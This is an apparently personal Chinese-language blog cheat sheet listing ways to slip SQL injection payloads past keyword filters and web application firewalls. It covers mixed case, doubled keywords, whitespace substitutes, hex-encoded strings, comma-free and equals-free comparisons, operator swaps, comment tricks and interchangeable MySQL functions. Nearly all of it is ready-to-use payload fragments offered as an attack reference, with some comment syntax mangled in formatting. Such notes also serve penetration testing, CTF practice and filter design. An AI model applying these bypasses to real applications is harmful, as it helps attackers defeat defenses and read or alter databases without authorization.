SQL 注入绕过

sec

SQL 注入绕过

关键字绕过

常规绕过
⼤⼩写绕过 SeLEcT
双写绕过 selselectect

字符串:

  1. 16进制

  2. 函数拼接

  3. char()

空格绕过:

  1. /**/ , /1/, %0a, %0d, %09
  2. 使用括号
    1
    union(select(xxx)from(xxx)where(xxx)=xxx)
  3. 使用内联注入:
    /!select//!id//!from//!user/

引号绕过:

  1. 16进制绕过:
    select * from xxx where name = 0x757365
  2. 弱类型⽐较:
    select ‘1abc’=1

逗号绕过:

  1. 对于substr和mid函数使⽤from to绕过:
    select substr(database() from 1 for 1)

  2. 联合查询使⽤join:
    union select * from (select 1)a join (select 2)b

  3. 使⽤like,原来的mid(user(), 1, 1)=xxx可以替换为:
    user() like ‘r%’

    1. limit可以使⽤offset绕过:
      select * from xxx limit 1 offset 0

⽐较符号绕过:

  1. 使⽤greatest, least函数,前者返回最⼤值,后者返回最⼩值:
    least(xxx, 64)=64 # xxx>=64

  2. between and:
    xxx between 1 and 1 # xxx=1

  3. like,rlike,regexp:
    xxx like 2 # xxx=2
    xxx rlike ‘1’ # xxx=1
    xxx regexp ‘^1$’ # xxx=1

  4. = <三者互相代替

  5. <>等价于!=

逻辑⽐较绕过:

and使⽤&&代替
or使⽤||代替
xor使⽤|代替
not使⽤!代替

注释绕过:

  1. %00

  2. – 后⾯有⼀个空格,三个字符才组成注释符

  3. 手动闭合:
    id=1’ union select 1,2,’3’

等价函数替换:

hex, bin <=> ascii
sleep <=> benchmark
concat_ws <=> group_concat
mid, substr <=> substring
@@user <=> user()
@@database <=> database()
left(xxx, 1)代替字符串截断,还有right

过滤 or and xor not 绕过:

and = &&
or = ||
xor = |
not = !

过滤 等号= 绕过

like:不加通配符的like执行的效果和=一致,所以可以用来绕过
regwxp:MYSQL中使用REGEXP操作符来进行正则表达式匹配

过滤函数绕过:

sleep() –> benchmark()
substr() –> substring()/mid()
substr() –> left(right())
right(left(‘abcd’,2),1) –> substr(“abcd”2,1)
ascii() –> ord()

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/f1b1c6c3-dd6f-43c9-a950-d65aaa07e8a7.html

Comments